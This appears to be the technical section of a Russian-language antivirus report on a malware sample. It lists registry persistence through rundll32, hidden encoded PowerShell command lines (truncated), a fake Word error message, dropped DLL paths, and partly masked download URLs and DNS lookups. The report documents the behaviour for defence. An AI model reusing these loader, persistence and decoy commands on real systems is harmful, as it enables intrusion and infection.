Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\iaxq.muk] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\iaxq.muk] 'ImagePath' = '%WINDIR%\SysWOW64\rundll32.exe "%WINDIR%\SysWOW64\Giru\iaxq.muk",RunDLL'
- 'iaxq.muk' %WINDIR%\SysWOW64\rundll32.exe "%WINDIR%\SysWOW64\Giru\iaxq.muk",RunDLL
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -ENCOD IAAkAEMAcgBBACAAPQAgAFsAVAB5AFAARQBdACgAIgB7ADMAfQB7ADEAfQB7ADAAfQB7ADIAfQAiACAALQBGACAAJwBlAG0ALgBJAE8ALgAnACwAJwBTAHQAJwAsACcAZABpAHIAZQBDAHQATwByAHkAJwAsACcA...
- %HOMEPATH%\f2nefq6\prs2ndh\chpieog.dll
- %WINDIR%\syswow64\giru\iaxq.muk
- %HOMEPATH%\f2nefq6\prs2ndh\chpieog.dll в %WINDIR%\syswow64\giru\iaxq.muk
- '97.##0.3.198':80
- http://ho####hivansh.com/UserFiles/8/
- http://97.##0.3.198/ops6807nz/t77k/fmyjj5itlwsq6ck/3ywet99aqo0n9aonk/s028wqeelco0z2/4cikj8/
- DNS ASK is####hnology.com
- DNS ASK ho####hivansh.com
- '<SYSTEM32>\cmd.exe' cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAkAEMAcgBBACAAPQAgAFsAVAB5AFAARQBdACgAIgB7ADMAfQB7ADEAfQB7AD...
- '<SYSTEM32>\msg.exe' user /v Word experienced an error trying to open the file.
- '<SYSTEM32>\rundll32.exe' %HOMEPATH%\F2nefq6\Prs2ndh\Chpieog.dll #1
- '%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\SysWOW64\Giru\iaxq.muk",RunDLL